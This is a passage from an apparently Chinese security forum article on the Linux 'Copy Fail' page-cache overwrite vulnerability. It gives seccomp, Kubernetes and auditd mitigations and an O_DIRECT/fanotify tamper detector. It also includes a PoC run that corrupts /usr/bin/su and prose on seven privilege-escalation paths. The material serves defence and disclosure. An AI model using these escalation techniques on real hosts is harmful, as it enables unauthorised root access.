注意:这里的 SELinux 规则是 Docker自行添加到容器 profile 中的alg_socket拒绝规则,不同于系统默认的 SELinux targeted 策略(后者不感知 AF_ALG,无法防御)。此外,在 RHEL/CentOS 等 SELinux 系统上需要在daemon.json中设置"selinux-enabled": true才能生效(默认未启用);未启用时 Docker 会 fallback 到 AppArmor 规则(Ubuntu/Debian 等默认可用)。
Kubernetes 不受 Docker 版本影响
K8s 的
RuntimeDefaultseccomp profile 由 kubelet 独立管理,升级 Docker 不会改变 K8s 容器的 seccomp 行为,需通过下方自定义 profile 进行缓解。
对于无法升级 Docker 的环境或 Kubernetes 集群,需手动部署自定义 seccomp profile。该方案仅拦截AF_ALG(family=38)的 socket 创建,不影响 TCP/UDP 等正常网络通信,AF_ALG 接口在绝大多数容器化应用中没有合法使用场景。
自定义 seccomp profile(block-af-alg.json):
{"defaultAction":"SCMP_ACT_ALLOW","syscalls":[{"names":["socket"],"action":"SCMP_ACT_ERRNO","errnoRet":1,"args":[{"index":0,"value":38,"op":"SCMP_CMP_EQ" }]}]}跨发行版适用性
Seccomp (seccomp-bpf) 是 Linux内核级特性(自 3.17 起稳定支持),不依赖任何特定发行版。上述 profile适用于所有 Linux 发行版,只要内核版本 ≥ 3.17、容器运行时支持 seccomp(Docker ≥ 1.10、containerd、CRI-O、Podman 均支持)。
对于非容器环境(裸机/VM),可通过
libseccomp在应用启动时加载 profile,或使用 systemd 的SystemCallFilter=指令限制。
Docker 手动部署:
docker run --rm --security-opt seccomp=block-af-alg.json \ python:3.11-slim python3 -c "import sockettry: socket.socket(38, 5, 0) print('[!] FAIL')except PermissionError as e: print(f'[+] AF_ALG blocked: {e}')s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print('[+] TCP socket OK')s.close()"# [+] AF_ALG blocked: [Errno 1] Operation not permitted# [+] TCP socket OKKubernetes 部署:
Pod Security Standards (PSS)(https://kubernetes.io/docs/concepts/security/pod-security-standards/)的三个级别(Privileged / Baseline / Restricted)均不限制 AF_ALG 的使用,必须手动部署自定义 profile:
cp block-af-alg.json /var/lib/kubelet/seccomp/# k3s 路径: /var/lib/rancher/k3s/agent/seccomp/Pod 配置中引用:
spec:securityContext:seccompProfile:type:LocalhostlocalhostProfile:block-af-alg.json推荐通过Kyverno或OPA/Gatekeeper等准入控制器强制所有 Pod 使用自定义 profile,防止遗漏:
apiVersion:kyverno.io/v1kind:ClusterPolicymetadata:name:require-seccomp-block-af-algspec:validationFailureAction:Enforcerules:-name:check-seccompmatch:any:-resources:kinds: ["Pod"]validate:message:"Pod must use block-af-alg seccomp profile (CVE-2026-31431 mitigation)"pattern:spec:securityContext:seccompProfile:type:"Localhost"localhostProfile:"block-af-alg.json"八、攻击检测
最直接的检测思路是监控漏洞利用链中的关键 syscall。Auditd 可以记录AF_ALGsocket 创建事件:
# 持久化审计规则cat > /etc/audit/rules.d/copyfail.rules <<'EOF'-a always,exit -F arch=b64 -S socket -F a0=38 -k copyfail_af_alg-a always,exit -F arch=b64 -S splice -k copyfail_spliceEOFaugenrules --load在容器环境中AF_ALG的合法使用极少,Falco 等 eBPF 工具可以对容器内的AF_ALGsocket 创建做实时告警。但裸机/VM 环境中 OpenSSLafalgengine、dm-crypt等正常使用AF_ALG的场景会持续产生误报。即使同时匹配AF_ALG+splice组合,也无法区分合法加密操作和漏洞利用——打开AF_ALGsocket 并调用splice不等于在利用漏洞,这些 syscall 本身是合法的内核接口。
核心局限:基于 syscall 的检测无法做到零误报——它只能说明"有人在使用AF_ALG",不能确认"有人在利用 Copy Fail"。更根本的问题是覆盖面:如第五章所述,页缓存覆写是一个反复出现的漏洞模式——针对AF_ALG的检测抓不到 Dirty Frag 的AF_KEY,针对splice的检测无法区分合法零拷贝操作。黑名单特定 syscall 永远追不上新变种。
换一个思路——不检测攻击手段,而是检测攻击结果。无论攻击者利用的是哪个漏洞,对于仅修改页缓存的漏洞(Dirty Pipe、Copy Fail、Dirty Frag),篡改后的页缓存与磁盘上的原始内容之间必然产生不一致。这个不一致是可以被检测的。
O_DIRECT标志使read()绕过页缓存,直接从磁盘块设备读取数据。将O_DIRECT读取结果与普通read()结果比较,如果不一致,说明页缓存被篡改:
普通 read:文件 → [Page Cache] → 用户 buffer ← 读到篡改后的数据O_DIRECT:文件 → [磁盘] → 用户 buffer ← 读到原始数据如果两者不同 → Page Cache 被非法修改这一方法有三个关键优势:
rpm -V/ AIDE / Tripwire)来检测deny_write_access()保证文件不可能被同时写入和执行在 CentOS 8 (XFS) 实验环境中验证了 O_DIRECT 对 overlay2 层文件和宿主机 SUID 文件的检测能力。以宿主机/usr/bin/su(SUID 文件)为例:
# Copy Fail 篡改 /usr/bin/su 的 ELF headerpython3 poc_marker.py /usr/bin/su# [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef# O_DIRECT 比对立即检测到差异# Page cache [0:16]: deadbeef020101000000000000000000 ← 篡改后# O_DIRECT [0:16]: 7f454c46020101000000000000000000 ← 磁盘原始 ELF header# [ALERT] SUID binary TAMPERED! 4 bytes differ at: [0, 1, 2, 3]技术实现要点:O_DIRECT读取要求内存地址和读取长度按文件系统块大小(通常 4096)对齐,需要通过posix_memalign()分配对齐 buffer。ext4、XFS、Btrfs 和 overlay2(底层为 ext4/XFS 时)均支持O_DIRECT;tmpfs 不支持(但不太可能是攻击目标)。
O_DIRECT 比对解决了"能不能检测"的问题,但还需要回答"何时触发检测"。定期全量扫描不够及时,对每个文件 open 事件都做检查又开销太大。
Linux 的fanotify子系统提供了FAN_OPEN_EXEC_PERM事件(kernel >= 5.0)——在execve()触发时向用户空间发送权限请求,用户空间程序可以在读取文件内容、做完检查后回复FAN_ALLOW(放行)或FAN_DENY(拒绝执行)。将 O_DIRECT 比对与 fanotify 结合,就得到了一个执行时实时拦截方案:

设计决策说明:
FAN_OPEN_PERM(拦截所有 open 事件,在用户空间过滤,开销略高但功能等价)deny_write_access()拒绝execve()(返回ETXTBSY),不存在"合法更新导致误报"的场景在 CentOS 8 (kernel 4.18.0) 上的实验结果:
2026-05-08 06:57:34 INFO Found 21 SUID/SGID files2026-05-08 06:57:34 INFO Monitoring mount (FAN_OPEN_EXEC_PERM): /usr2026-05-08 06:57:34 INFO Guard active [ENFORCE] (event_size=24, check_root=False)# Copy Fail 篡改 /usr/bin/su 后,普通用户尝试执行:2026-05-08 06:57:38 WARNING [ALERT] BLOCKED pid=2677362 uid=1000 /usr/bin/su (page cache tampered at offset 0)# 用户侧:$ /usr/bin/subash: /usr/bin/su: 不允许的操作 (exit 126)Guard 成功在execve()阶段拦截了被篡改的 SUID 二进制,阻止了提权。
fanotify Guard 基于FAN_OPEN_EXEC_PERM拦截execve(),设计上仅覆盖 SUID/SGID 二进制执行。对照第五章的 7 条宿主机提权路径:

fanotify Guard 解决的是最危急的场景——阻止被篡改的 SUID 二进制执行提权。其余 6 条宿主机路径和容器场景,需要依靠 O_DIRECT 定期扫描来覆盖。扫描优先级建议:PAM 模块和共享库(/lib64/security/、/lib64/*.so)> 关键配置文件(/etc/passwd、/etc/profile、/etc/ld.so.preload)> cron 脚本和容器 lower layer。对于 lower layer 中的只读文件,page cache 与磁盘不一致 = 100% 异常,零误报。
检测工具demo获取
pagecache_guard.py及 PoC 脚本已开源:github.com/0xlane/pagecache-guard支持 dry-run 模式、syslog 输出、定期重扫描 SUID 文件等功能。详见仓库 README。
九、总结
authencesn假设输出 buffer 是安全的内核内存,algif_aead的 in-place 优化让输出 buffer 包含了 page cache pages,splice把文件数据零拷贝地引入了这个路径——三者单独来看都是合理的设计,组合在一起却产生了一个持续 9 年的安全漏洞。宿主机层面,攻击面远不止公开 PoC 展示的 SUID 覆写。实验验证了 7 条独立的提权路径:从最简单的/etc/passwdUID 篡改(1 次 4 字节写入)、PAM 认证绕过(任意密码获取 root)、共享库 live-patching(无需重启即可修改运行中进程的代码段),到/etc/profile命令注入、Cron 脚本篡改和ld.so.preload路径劫持——这些路径对所有页缓存覆写漏洞通用,不仅限于 Copy Fail。其中共享库和 PAM 模块因 mmap 引用保持效应具有半永久持久性(drop_caches无法驱逐)。容器层面,Page Cache 作为跨越隔离边界的全局共享状态,使得跨容器 page cache 污染和只读 volume 绕过成为现实。
但经过深入验证,标准 K8s 环境下的零特权容器逃逸在架构上不可行——containerd/runc 不会在宿主机上下文中执行 snapshot 层文件,需要额外的特权配置(hostPath、CAP_DAC_READ_SEARCH等)才能将 page cache 篡改转化为逃逸。Docker 环境的docker export可将篡改数据持久化且docker diff无法发现,在供应链场景中有隐蔽性价值。
从更宏观的视角看,Copy Fail 是"splice 零拷贝 + 内核 in-place 写回"这一页缓存覆写模式中的一员——从 2022 年的 Dirty Pipe 到 2026 年的 Copy Fail 和紧随其后的 Dirty Frag (CVE-2026-43284/43500),splice 将 page cache page 引用注入内核子系统后被意外写回的漏洞已在三个独立子系统中反复出现。Copy Fail 修复后仅 8 天,Dirty Frag 即以同样的原语在不同子系统中被发现。这意味着防御不能只盯着AF_ALG——下一个变种可能来自任何包含 in-place 操作的零拷贝路径。
正因如此,检测的思路应该从"检测攻击手段"转向"检测攻击结果":O_DIRECT绕过 page cache 直读磁盘,与普通read()比对即可发现篡改。这一方法对所有仅修改页缓存的漏洞通用(Copy Fail、Dirty Pipe、Dirty Frag 以及未来同类 0-day),Dirty COW 除外(它会写回磁盘,需要传统文件完整性检查)。对于 SUID/SGID 二进制,将 O_DIRECT 比对与fanotify的FAN_OPEN_EXEC_PERM结合,可以在execve()时实时拦截被篡改的执行;其余攻击面(PAM 模块、共享库、配置文件等)则通过 O_DIRECT 定期扫描覆盖。
防御与检测建议:
/etc/passwd、/etc/profile等配置文件,以及容器 lower layer)漏洞详情最初由 Taeyang Lee 在xint.io公开披露,本文在其基础上进行了独立的深入分析与实验验证。
附录:实验代码
本文涉及的所有实验脚本和配置文件均已开源:

*参考文献请点击『阅读原文』查看详情

看雪ID:0xlane
https://bbs.kanxue.com/user-home-860174.htm

# 往期推荐


球分享

球点赞

球在看

点击阅读原文查看更多